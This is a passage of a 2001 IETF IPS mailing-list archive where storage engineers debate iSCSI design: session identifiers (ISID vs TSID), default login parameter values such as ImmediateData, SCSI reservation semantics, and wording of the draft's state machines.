f8SMHjP08503 for ; Fri, 28 Sep 2001 18:17:46 -0400 (EDT) Received: from somesh (sdsl-64-139-0-182.dsl.sca.megapath.net [64.139.0.182]) by cleitus.hosting.pacbell.net id SAA05692; Fri, 28 Sep 2001 18:17:33 -0400 (EDT) [ConcentricHost SMTP Relay 1.7] Reply-To: From: "Somesh Gupta" To: Subject: RE: iSCSI: ISID issue Date: Fri, 28 Sep 2001 15:16:32 -0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal In-Reply-To: <277DD60FB639D511AC0400B0D068B71ECAD7D4@CORPMX14> X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit David, If features such as multiple connections per session, or session recovery, across multiple adapters is to work, it would require the host software to have fine grained control over the login process. These require that the host software be able to ask the adapter to open a new connection, and login with a specific ISID (& TSID), and provide most operational parameters for the session. If we think this feature is important & should be encouraged, then we should go for a model that encourages the adapter to provide the host software the ability to specify these values. If we think multiple connection per session, and session recovery should be limited to a single adapter, then maybe it is not so important for the host software to control the ISID. Somesh > -----Original Message----- > From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of > Black_David@emc.com > Sent: Friday, September 28, 2001 12:18 PM > To: ips@ece.cmu.edu > Subject: iSCSI: ISID issue > > > Attempting to pick this back up, and selectively quoting from > the (extensive) email on this topic, here's where I think we > are on this. The issue is whether to eliminate ISIDs, so that > iSCSI sessions are identified solely by target-assigned TSIDs. > > The underlying concern is reliability of coordination of ISIDs > among independent iSCSI implementations that make up a single > iSCSI Initiator (one iSCSI Initiator Name), as originally stated > by Nick Martin: > > > In particular this enables independent agents within the same > initiator to > > attempt a login without knowing all ISIDs in use by other agents. Each > > agent would know the ISID of sessions it had successfully > established, but > > not the ISIDs for sessions established by others. It can use > the ISIDs it > > knows to recover sessions it owns. If an agent gets a failure > attempting > to > > establish a new session, it would pick a different ISID and > retry (or just > > quit), rather than disrupting a session of another agent. > > > > I have a big problem with A) where independent agents must know > the ISIDs > > established by others in order to do no harm. > > There have been a couple of attempts to address this by requiring > ISID coordination to be done via administrative or OS means, and > allowing arbitrary failures when it is not done correctly. > Unfortunately, these attempts have failed to distinguish between > incorrect/buggy iSCSI protocol implementations (which can cause > all sorts of problems and arguably deserve whatever bad results > they get) and administrative errors such as mis-entering a config > parameter or miscopying a parameter from a hand-written configuration > sheet (for which there is benefit in limiting the damage that results, > as we can expect such errors to occur no matter how carefully > iSCSI and its management tools are implemented). The first > attempt was to mandate a management interface - Jim Hafner wrote: > > > ... mandate a management interface for setting/configuring ISID > > partitions and the problem goes away of non-cooperating HBAs. > > We can definitely mandate the existence of such an interface (actually > ISID configuration interfaces for each iSCSI implementation), but we > cannot mandate their correct use in all circumstances. We could decide > that it's ok for minor mistakes in using that interface to result in > major damage, but that may not be the best design approach. > > The second attempt was to strongly encourage automatic configuration > mechanisms in OS platforms - Jim Hafner wrote: > > > The whole reason we put in the draft the "SHOULD partition" ISIDs among > > portal groups and why it is so prominent is to get all the > people building > > these components to agree NOW to the OS-specific mechanisms to > achieve it. > > First recognize the need and THEN to define the mechanism (and I've said > > that the mechanism isn't hard, we (as vendors, not necessarily > within the > > specification) just have to agree on it). > > Much as I believe iSCSI is important, I think this is essentially an > exercise in wishful thinking - the "SHOULD partition" warning seems akin > to firing a BB pellet across the bow of an aircraft carrier - it will > likely be ignored. I don't think iSCSI is in a position to drive this > sort of change into existing OS device driver infrastructures - rather > I think it's incumbent upon us to make sure that it can exist cleanly > within them. Jim goes on to say: > > > We're trying to prevent exactly the problem David (I think) > mentioned with > > FW Nodenames never taking on the role they should have. We're posting > > right up front an implementation (strong) recommendation to enable both > > assignment of Initiator Name (from outside the HW or SW) and of ISIDs > (from > > outside the HW or SW). This enables the protocol to function at its > best. > > If people don't want to implement to this recommendation, then > they'll pay > > the price with either inter-vendor interoperability problems (not with > the > > wire but within a given initiator) or with much more complex management > > issues (a la FC Portnames). > > And I'm concerned that having failed to learn from the Fibre Channel > history, we may be condemned to repeat it. The cross-HBA interfaces to > coordinate the Node WWN never came into existence despite the best > intentions > and efforts of those involved in Fibre Channel, and they would have been > no more complex than the ISID coordination (e.g., find all the possible > Node WWNs, pick the numerically smallest). > > An issue has been raised about why the Target is better suited to assign > session IDs than the Initiator. I've seen at least two good answers to > this - Eddy Quicksall points out that this is fundamentally about managing > Target-controlled resources: > > > Now, I'm wondering why we are even trying to use the ISID to reset a > session > > when we should be using the TSID ... because the target can > produce unique > > TSIDs and use that to identify the session much more easily > than using the > > combination of InitiatorName and ISID. > > And Sandeep Joshi points out that Targets tend to have a single entity > controlling their entire implementation, unlike Initiators: > > > ..the target may not be monolithic > > but one assumes it would atleast be "monogenic" (single-vendor) > > thereby enabling it to disallow multiple nexuses being > > started with the same > > > > The monogenic property may not hold for initiators so > > a scheme which works without HBA cooperation is preferred > > over one which requires cooperation. > > I think Jim Hafner's "kicker" issue of T10 changing reservations to be > associated only with SCSI Initiator Ports is a major problem for iSCSI > *independent* of whether ISIDs exist or not -- I don't think keeping ISIDs > in their current form is sufficient to address that issue and may in fact > be the wrong way to go about it, as I'll explain in a separate message. > I now believe this issue to be orthogonal to whether ISIDs remain, but > folks will have to read that separate message to see whether they agree. > > So, after reviewing all the email on this, I definitely don't see > consensus on whether to keep ISIDs, but I'm seriously concerned > that we are repeating the mistake Fibre Channel made with Node Names > and will suffer the resulting consequences - iSCSI Initiator Names > will get bound to HBAs rather than OS images in order to make absolutely > positively sure that ISID conflicts cannot happen. > > At the risk of starting yet another long discussion, comments? > --David > > -------------------------------------------------- > David L. Black, Senior Technologist > EMC Corporation, 42 South St., Hopkinton, MA 01748 > +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 > black_david@emc.com Mobile: +1 (978) 394-7754 > --------------------------------------------------- > From owner-ips@ece.cmu.edu Fri Sep 28 19:01:25 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA27020 for ; Fri, 28 Sep 2001 19:01:25 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8SM4Of07763 for ips-outgoing; Fri, 28 Sep 2001 18:04:24 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from cleitus.hosting.pacbell.net (cleitus.hosting.pacbell.net [216.100.99.17]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8SM4LP07759 for ; Fri, 28 Sep 2001 18:04:22 -0400 (EDT) Received: from somesh (sdsl-64-139-0-182.dsl.sca.megapath.net [64.139.0.182]) by cleitus.hosting.pacbell.net id SAA10471; Fri, 28 Sep 2001 18:04:04 -0400 (EDT) [ConcentricHost SMTP Relay 1.7] Reply-To: From: "Somesh Gupta" To: "John Hufferd" , "Robert Snively" Cc: Subject: RE: iscsi : iscsi parameter default values Date: Fri, 28 Sep 2001 15:03:03 -0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit John makes a good point about the power of immediate data, and it being a significant differentiator and advantage over FC for short reads/writes. This is one aspect of the protocol I think most people would agree is beneficial. The disagreement is more along the lines of whether Target should be made to change their current APIs. There are other defaults (such as number of connections per session) on which we probably have much bigger disagreements about how useful the base feature is. My question is about how we want to set the defaults. Should we be conservative as Santosh suggests, or base it on desired behavior (as John suggests). Once we decide that, we could talk about the other defaults. Somesh > -----Original Message----- > From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of > John Hufferd > Sent: Friday, September 28, 2001 11:09 AM > To: Robert Snively > Cc: ips@ece.cmu.edu > Subject: RE: iscsi : iscsi parameter default values > > > > Robert, > We have had this debate before, and I guess the sides are still polarized. > However, a number of folks believe that immediate is easier to handle then > R2T (since all the information they need is with the PDU), and the > conservative option. The main discussion has been since they also want to > have R2T they did not want to have two code paths. However, when folks > have looked at the effort to support immediate data, they have found it to > be trivial. > > The payback of NOT having multiple round trips to get the data is an > important feature, and when you think about all the error > recovery items we > have been discussing, it is clear that immediate data makes every thing > easier. > > The important performance improvements are so important to iSCSI (in my > mind) that if the worse the Target has to do if it can not handle > immediate > data, is to send the Text Key of "ImmediateData=no", I do not > think this is > a problem. We need to have this performance feature thought about as a > normal property of iSCSI, so that every one that talks about the > advantages > of iSCSI can include this, with out a bunch of qualifying statements. > Having this as the default is one way to keep this thought at the front of > everyone's mind. > > . > . > . > John L. Hufferd > Senior Technical Staff Member (STSM) > IBM/SSG San Jose Ca > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > Home Office (408) 997-6136 > Internet address: hufferd@us.ibm.com > > > Robert Snively on 09/28/2001 08:25:45 AM > > To: John Hufferd/San Jose/IBM@IBMUS, Julian Satran/Haifa/IBM@IBMIL > cc: ips@ece.cmu.edu > Subject: RE: iscsi : iscsi parameter default values > > > > I vote no as the default value on ImmediateData. > > A default value of yes on ImmediateData requires implementation > of the most complex and demanding mode of operation as the > default. SCSI has traditionally made its default behavior the > simplest and most encompassing, setting more sophisticated > behavior by subsequent agreement. While it may be your earnest > desire to encourage the implementation of this function, it > is not appropriate to demand that as the default behavior > of all devices. In particular, there is no special benefit > to providing ImmediateData in low-cost local sub-lans. > > If you want to encourage it in a profile, fine, but demanding > it as the default in the core standard is not appropriate. > > Note that the behavior of SCSI is traditionally managed > entirely by the target. As such, there has never before now > been a requirement for the target to, as a default, accept > any PDU except a command or task management function > that was not explicitly solicited. That is one of the mechanisms > that assists SCSI in achieving a low-overhead zero copy > capability while operating with a large number of initiators > and with deep command queues. > > Bob Snively e-mail: rsnively@brocade.com > Brocade Communications Systems phone: 408 487 8135 > 1745 Technology Drive > San Jose, CA 95110 > > > > > -----Original Message----- > > From: John Hufferd [mailto:hufferd@us.ibm.com] > > Sent: Friday, September 28, 2001 1:33 AM > > To: Julian Satran > > Cc: ips@ece.cmu.edu > > Subject: RE: iscsi : iscsi parameter default values > > > > > > > > I also agree with this. It should be yes. > > > > . > > . > > . > > John L. Hufferd > > Senior Technical Staff Member (STSM) > > IBM/SSG San Jose Ca > > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > > Home Office (408) 997-6136 > > Internet address: hufferd@us.ibm.com > > > > > > Julian Satran/Haifa/IBM@IBMIL@ece.cmu.edu on 09/27/2001 09:50:21 AM > > > > Sent by: owner-ips@ece.cmu.edu > > > > > > To: ips@ece.cmu.edu > > cc: > > Subject: RE: iscsi : iscsi parameter default values > > > > > > > > > > The one that I have trouble living with is ImmediateData. > > This is important > > for low-end desktops and hardly matters for large boxes. > > As such I would suggest it stays as yes. > > > > Julo > > > > > > > > "Eddy > > Quicksall" To: "'Santosh Rao'" > > , > > > > iaone.net> cc: > > Sent by: Subject: RE: > > iscsi : iscsi > > parameter default values > > owner-ips@ece.c > > mu.edu > > > > > > 27-09-01 17:22 > > Please respond > > to "Eddy > > Quicksall" > > > > > > > > > > > > I like your defaults below. > > > > But, section 5 says: > > > > The initial Login request MUST include the InitiatorName and > > SessionType key=value pairs. > > > > Since SessionType is REQUIRED, naming a default would imply a > > possible typo > > in the spec. > > > > Eddy > > > > -----Original Message----- > > From: Santosh Rao [mailto:santoshr@cup.hp.com] > > Sent: Wednesday, September 26, 2001 10:29 PM > > To: ips@ece.cmu.edu > > Subject: iscsi : iscsi parameter default values > > > > > > All, > > > > With the issue of mode page vs. login keys having [almost] drawn to a > > close, I would like to > > raise the below issues again, on the subject of default > > values for login > > keys and other iscsi > > parameters : > > > > > > * In keeping with traditional use of scsi mode pages, iscsi should > > not specify any default > > settings for any mode pages that continue to exist for iscsi. > > "Default values" for mode > > pages are target specific and should not be bound to the protocol > > draft. > > > > * MORE IMPORTANTLY, I read the default for EMDP as being set to 1 > > :-< This implies that > > targets must be always prepared to deal with out of > > order data and > > initiators must be > > prepared to deal with out of order data, unless the initiator > > performs a mode select to > > disable it. [which defeats all the previous advantages > > gained thru > > mandating use of login > > keys for other negotiations.]. A default, if it were to exist, > > should be 0. (in-order, by > > default). > > > > * Conservative specification of defaults for login keys along the > > following lines : > > MaxConnections = 1 > > FMarker = "no" > > InitialR2T = "yes" > > BidiInitialR2T = "yes" > > ImmediateData = "no" > > DataPDULength = 16 > > MaxOutstandingR2T = 1 > > DataPDUInOrder = "yes" > > ErrorRecoveryLevel = 0 > > SessionType = "normal" > > > > * Should the iscsi protocol require a "Lun Control Mode Page"? IOW, > > is an EnableCRN bit > > required at the transport layer ? If the device server capability > > is to be negotiated , I > > suggest this bit be moved to a SCSI ULP Mode Page such as the > > "Control Mode Page", through a > > T10 change as a part of the SCSI changes being driven by iscsi. > > > > Comments ? > > > > Thanks, > > Santosh > > > > > > Santosh Rao wrote: > > > > > There are the separate issues of : > > > > > > * iscsi's specification of defaults for its mode pages > > which is not > > in line with mode page > > > usage. This impacts the target's ability to enforce > > values other > > than the protocol > > > specified default, if the initiator were to not use mode > > sense/select. > > > > > > * default settings for login keys. > > > > > > * Is there a need for the "LUN Control Mode Page" and whether > > "Enable CRN" should be in a > > > transport specific mode page ? > > > > > > which need to be driven to closure as well. > > > > > > Regards, > > > Santosh > > > > > > > > > > > > > > > > > > > > > > > > > > From owner-ips@ece.cmu.edu Fri Sep 28 19:27:10 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA27352 for ; Fri, 28 Sep 2001 19:27:09 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8SMekl09802 for ips-outgoing; Fri, 28 Sep 2001 18:40:46 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mxic2.us.dg.com (mxic2.us.dg.com [128.221.31.40]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8SMeiP09795 for ; Fri, 28 Sep 2001 18:40:44 -0400 (EDT) Received: by mxic2.us.dg.com with Internet Mail Service (5.5.2653.19) id ; Fri, 28 Sep 2001 18:37:51 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71ECAD7D9@CORPMX14> From: Black_David@emc.com To: ips@ece.cmu.edu Subject: RE: iSCSI: "kicker" reservation problem Date: Fri, 28 Sep 2001 18:33:02 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Jim, > You wrote: > If the proposed language is adopted to allow reservations to be shared > across target ports, but be bound to initiator ports, the identities > of the initiator ports have to be visible to the "application" so that > it can control SCSI behavior with respect to reservations. > But that must also be true today (in a more static world). If an > application requests a reservation for a logical unit on one I_T_L nexus, > it pretty much needs to know what path that is, so that it knows where to > direct it's IOs. So, it needs some handle, identity, whatever for that > nexus within the operating system. In the current reservation model, the > application probably can't deal with a completely opaque handle here. It > will need to know all the I_T_L paths so that is can do the registration > across all the paths. In other words, it needs some internal identity for > the I and some external identity for the T. That's true today and won't > change with the new proposal. > > If the proposed language is adopted, then it can take better advantage of > this information, by recognizing that it only needs to register when the > I's are different (not when either the I or T is different). I think I disagree. Over in the FC world, I would expect applications to be written with a firm knowledge of when the I's (i.e., FC Initiator Ports) are the same or different and hence knowing whether they have to register without asking. This implicit knowledge may be based on stuff like inspecting the /dev filenames in Unix. > In either case, it needs some internal identity for the "I'. So long as > the iSCSI layer presents a representation of the 'I' as consistent with the > model, there is no problem. The application doesn't need to see the ISID, > it needs to see the internal identity of the 'I' as the same if the > underlying ISIDs for the I_T_L nexus is the same. I think I'm expecting worse - applications that depend on having the same "I" and hence needing to instruct iSCSI to use the same ISID. OTOH, you seem to be suggesting (below) a scenario in which iSCSI could declare by fiat that the "I"s are always different and hence applications always have to register; is that credible? > At least it some layer has a way to tell that the I's are the same or not. > If the target generated SSIDs entirely, there would never be two nexus with > the same I (and different T) and so the whole multipathing issue gets much > more complex. The application would ALWAYS have to work through each nexus > (as it does today, but for different reasons). Or we'd have to invent some way for an application to tell iSCSI when the application requires it to reuse an existing "I" identity. As indicated on the list, I think there are advantages to this being something other than the ISID so that it has no role in the basic iSCSI protocol (e.g., yet another key=value pair passed on login to tell the Target how the application using it expects reservations to behave). This is moving away from the usual SCSI model in which sessions are established in advance to one in which applications can cause sessions to be established, and that may be a serious change. > The issue here comes, not from the application getting a handle on the > I_T_L nexus (and perhaps its internals). It's more a question of what layer > is going to generate all those paths (nexus) in the first place? Right > now, every SCSI Initiator Port does a greedy job of building nexus to every > SCSI Target Port it can find on the bus (fabric). With iSCSI, that model > changes dramatically. Someone has to drive this nexus building in a more > constructive manner since initiator ports need to be created on the fly. > Once their built, the rest goes according to plan (as it does today). But > building them at all may require more application intervention OR each > iSCSI Initiator Portal Group does it's most aggressive best (subject to > some configuration limit of how many connections per session and how many > sesssions per target portal group and .....). I think that your "application intervention" line of thinking will lead to my concern that application control over whether two nexii have the same or different "I" is going to be required, not just application visibility. Let me know if you wind up someplace else and how/why you got there. > You wrote.. > At best, T10 is probably looking towards > Fibre Channel in which session endpoints are static hardware interfaces. > The easiest way to get back in line with T10 would be to forbid iSCSI > sessions from spanning network interfaces, and then use the IP address > of the network interface as the SCSI Initiator Port Name, but that would > be a significant change from the approach we've been pursuing to date. > I think that's an unfair statement about T10. The person pushing this new > stuff is active in SRP and in iSCSI and is fully aware of the issues and > implications. But on the other hand, T10 can only deal with things which > fit within its model space. That includes "named Initiator Ports" (with > the name being persistent and immutable). They don't have to be static or > hw, just named. Maybe the FC bit is unfair, but SAM is clearly written with a worldview that Ports are static entities, similar to its worldview that transports operate synchronously (e.g., see my recent reply to Bob Snively on this topic). > This whole thing would have been a lot easier if we never had multiple > connection sessions. But that was a choice made early. Now we see what we > can do with what we have. Right ... actually this problem is caused by sessions that span network interfaces - multiple connections on a single interface don't cause these problems (but cause a different set elsewhere because IETF does not want to encourage a repetition of the HTTP multiple connection stuff done by browsers). > You wrote: > Alternatively, we could invent yet another software name for the SCSI > Initiator Port that exists primarily to cope with this new notion of > reservation scope, > But as I've argued before, any other name still has the same problems of > namespace, use, generation, coordination. The ISID was a name already > there and suited the purposes. If we go away from ISIDs for other > reasons, then we still need another name, and we still need a rule that > says that 'named' port can't login twice with the same target portal group > and .... we're back where we are now. But the moment we put that name under application control, some large hammers become available. On Windows, one obvious thing to do is make the "software names" GUIDs which have uniqueness properties that can be controlled without coordination among the entities generating them. One can also use OIDs, vendor unique names (e.g. com.ibm.tsm.---). > I've been around this bend many many times and always come > back to the same place. Can I stop now? :-{) Not yet - I think this is exploring new territory :-). Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- From owner-ips@ece.cmu.edu Fri Sep 28 19:36:51 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA27420 for ; Fri, 28 Sep 2001 19:36:51 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8SMsLk10541 for ips-outgoing; Fri, 28 Sep 2001 18:54:21 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel13.hp.com (palrel13.hp.com [156.153.255.238]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8SMsJP10536 for ; Fri, 28 Sep 2001 18:54:19 -0400 (EDT) Received: from core.rose.hp.com (core.rose.hp.com [15.43.208.100]) by palrel13.hp.com (Postfix) with ESMTP id 3BB8F1F5AE for ; Fri, 28 Sep 2001 15:54:13 -0700 (PDT) Received: from rose.hp.com (hpsil34.rose.hp.com [15.43.211.225]) by core.rose.hp.com with ESMTP (8.9.3 (PHNE_22672)/8.8.6 SMKit7.02) id PAA29229 for ; Fri, 28 Sep 2001 15:55:34 -0700 (PDT) Message-Id: <200109282255.PAA29229@core.rose.hp.com> Date: Fri, 28 Sep 2001 16:05:44 -0700 From: "Mallikarjun C." Reply-To: cbm@rose.hp.com Organization: Hewlett-Packard, Roseville X-Mailer: Mozilla 4.73 [en] (X11; U; HP-UX B.10.20 9000/715) X-Accept-Language: en MIME-Version: 1.0 To: ips Subject: Re: iSCSI 07-95 Comments 14 Through 19 References: <3BB3B492.1943ED65@redswitch.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Thomas, Let me answer your questions. Also, FYI: rev08 state diagrams are posted on http://storage-arch.hp.com. Thomas Dineen wrote: > > Gentle People: > > First of all I would like to commend the author of the > state machines. I believe that addition of the state machines > to the document substantially enhances the overall conciseness. Thanks! > > Several comments regarding 07-95 section 7 starting on page 118: > > 14) In Sections 7.1, 7.2, 7.3 I would suggest enhancing > the description of each state and each state transition. > After reading this section carefully I have concluded that > additional text would be of great benefit. Please provide > a few sentences or a paragraph describing each state and > each state transition. I will attempt, but most possibly not for rev08. > > 15) The state transition descriptions would be improved by > linking the logical conditions to those of a TCP Service Interface > such as Sockets. I am looking for a more formal and concise > definition of each of the referenced logical conditions. The current text is a conscious attempt to stay away from implementation APIs - but still be formal and concise. What is described should be equally valid for hardware state machines, and software building on traditional sockets API. I believe it should be fairly straightforward to map the current states to sockets. > > 16) In several places I see the term "[OR}" what dose this mean > exactly a simple "or"? Yes! That's an attempt to avoid a "dangling or" :-), used across bullets, as opposed to within the bullet. > > 17) In section 7.3 transition N6 a session state time-out is referenced. > where is this timer and time-out defined? The timeout value is not defined by the draft. But what constitutes the timeout is defined in rev07-99, appendixD, LogoutLoginMaxTime description. > > 18) In section 7.2: > > "These additional state transitions may be traversed either by using a > connection in the LOGGED_IN state with an explicit logout (let us > call it CSM-E), or on a new transport connection in the FREE state > with an implicit logout (let us call it CSM-I). This recovery state > diagram hence is applicable only to the instance of the connection in > recovery, i.e. CSM-R." > > >From what I can tell you are trying to recover a failed connection > using the communication services of another existing or newly > established > connection. Please add a few sentences or a paragraph describing this > concept fully. OK. > > 19) In section 7.1 and the following sections: > > "T7: A login redirection/initiator error/target error was > received, or login timed out. (Initiator only)" > > In this statement the "/" is used repeatedly: Dose "/" > really mean "or"? Yes! Another attempt to avoid dangling references within the bullet, also to indicate any one of the three return values would be considered the same subcase (that of login failure). > > So the statement could read: > "T7: A login redirection, initiator error, or target error was > received, or the login timed out. (Initiator only)" > > If you mean "or" why not use 'or"? > > 20) Referring to T7 above, where is the Login timer specified? A "Login timer" per se is not specified in the draft. It is left as an implementation decision (like an I/O timeout value), since it is a function of network configuration, RTT etc. Regards. -- Mallikarjun Mallikarjun Chadalapaka Networked Storage Architecture Network Storage Solutions Organization MS 5668 Hewlett-Packard, Roseville. cbm@rose.hp.com From owner-ips@ece.cmu.edu Fri Sep 28 19:38:29 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA27439 for ; Fri, 28 Sep 2001 19:38:29 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8SMfWt09847 for ips-outgoing; Fri, 28 Sep 2001 18:41:32 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e33.bld.us.ibm.com (e33.co.us.ibm.com [32.97.110.131]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8SMfUP09841 for ; Fri, 28 Sep 2001 18:41:30 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e33.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id RAA106596 for ; Fri, 28 Sep 2001 17:39:04 -0500 Received: from d03nm065.boulder.ibm.com (d03nm065.boulder.ibm.com [9.99.140.49]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8SMe9f263256 for ; Fri, 28 Sep 2001 16:40:09 -0600 X-Priority: 1 (High) Importance: Normal Subject: Re: iSCSI: ISID issue To: "Jim Hafner" Cc: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: "John Hufferd" Date: Fri, 28 Sep 2001 15:39:24 -0700 X-MIMETrack: Serialize by Router on D03NM065/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/28/2001 04:40:08 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Jim, You might consider the thing that passes out the ISID to be on the Target side. You folks all yelled at me about my manic desire to have the target assign both the ISID and the TSID, and saw no reason why we should not just call it SSID or SID. But let me try it again, and see if it helps this model. Suppose, in addition to the Target setting the TSID as it does today, it also assigns the ISID. Now since the Session is not established until we go into Full Featured Mode (before that it is only a connection), all you have really done is move the routine that you described as assigning the ISID, to a remote location. The Full Initiator session name (made up of the iSCSI Node Name and ISID) is technically established before there is a session. So it should be the same difference as far as your model goes, but you would have to keep the ISID as a separate item not just as a Target assigned SID. Does that seem right to you? . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com Jim Hafner/Almaden/IBM@IBMUS@ece.cmu.edu on 09/28/2001 02:41:03 PM Sent by: owner-ips@ece.cmu.edu To: Black_David@emc.com, ips@ece.cmu.edu cc: Subject: Re: iSCSI: ISID issue David, See my reply to your other note on the "kicker" thread. But I have a comment here too. Regardless of how we go about this 'who assigns the SSID' question, we still have a fundamental question about what to map the SCSI Initiator Port to AND what its 'SCSI Initiator Port Name' should be. WIthout an initiator generated (or owned) name, we can't have such a beast (we can have SCSI Initiator Ports, but no name can be associated with them). That will prevent iSCSI from being able to take advantage of things that SCSI has so far and will in the future better enable because of persistent named initiator ports. The ISID was the most obvious thing to choose. Take that away and the whole thing has to get stirred up again. I sympathize with the issue of configuration. However, if we can't solve the iSCSI Initiator Name (IIN) problem (and avoid the FC Nodename debacle), then it's true that configuration of ISIDs will also be a problem. I was expecting that we can solve the IIN problem by defining at least a de facto standard that could be put in place today. I was hoping (perhaps naively) that we could solve the ISID allocation problem at the same time. The whole point of stating all this up front now was in hopes of 'learning from the FC mistakes'. Let me add that (from private discussions) I've come to realize that the current wording is perhaps not exactly reflective of the real requirement for ISIDs. The current wording says "partition". Some have come to interpret that as a static (once at boot, sort of) partition. That actually goes too far. What is really needed (from the model point of view) is a service in the iSCSI Node that allocates ISIDs for use by session creators in the initiator portal groups. Whether that is implemented passively by static configuration (static partition) or by dynamic partition (partitions can be reconfigured on the fly) or by an api to allocate on demand (on-line algorithm) - doesn't really matter. The relevant point is that something (at the node level) has to pass them out for use in session creation within the portal groups *in such a manner so as not to break the ISID RULE*. The static partition was one implementation that I thought was doable today. Perhaps such a service is untenable. If so, then I don't know that we can put any weight in the model to the notion of an iSCSI Initiator Node! If I can't have that simple function, there can't be any more complex functions like failover, error recovery, etc.. In any case, there is still open (as far as I know) the issue of "what happens if a parallel nexus is attempted" (regardless of the definition of SCSI Initiator Port). Jim Hafner Black_David@emc.com@ece.cmu.edu on 09/28/2001 12:17:43 pm Sent by: owner-ips@ece.cmu.edu To: ips@ece.cmu.edu cc: Subject: iSCSI: ISID issue Attempting to pick this back up, and selectively quoting from the (extensive) email on this topic, here's where I think we are on this. The issue is whether to eliminate ISIDs, so that iSCSI sessions are identified solely by target-assigned TSIDs. The underlying concern is reliability of coordination of ISIDs among independent iSCSI implementations that make up a single iSCSI Initiator (one iSCSI Initiator Name), as originally stated by Nick Martin: > In particular this enables independent agents within the same initiator to > attempt a login without knowing all ISIDs in use by other agents. Each > agent would know the ISID of sessions it had successfully established, but > not the ISIDs for sessions established by others. It can use the ISIDs it > knows to recover sessions it owns. If an agent gets a failure attempting to > establish a new session, it would pick a different ISID and retry (or just > quit), rather than disrupting a session of another agent. > > I have a big problem with A) where independent agents must know the ISIDs > established by others in order to do no harm. There have been a couple of attempts to address this by requiring ISID coordination to be done via administrative or OS means, and allowing arbitrary failures when it is not done correctly. Unfortunately, these attempts have failed to distinguish between incorrect/buggy iSCSI protocol implementations (which can cause all sorts of problems and arguably deserve whatever bad results they get) and administrative errors such as mis-entering a config parameter or miscopying a parameter from a hand-written configuration sheet (for which there is benefit in limiting the damage that results, as we can expect such errors to occur no matter how carefully iSCSI and its management tools are implemented). The first attempt was to mandate a management interface - Jim Hafner wrote: > ... mandate a management interface for setting/configuring ISID > partitions and the problem goes away of non-cooperating HBAs. We can definitely mandate the existence of such an interface (actually ISID configuration interfaces for each iSCSI implementation), but we cannot mandate their correct use in all circumstances. We could decide that it's ok for minor mistakes in using that interface to result in major damage, but that may not be the best design approach. The second attempt was to strongly encourage automatic configuration mechanisms in OS platforms - Jim Hafner wrote: > The whole reason we put in the draft the "SHOULD partition" ISIDs among > portal groups and why it is so 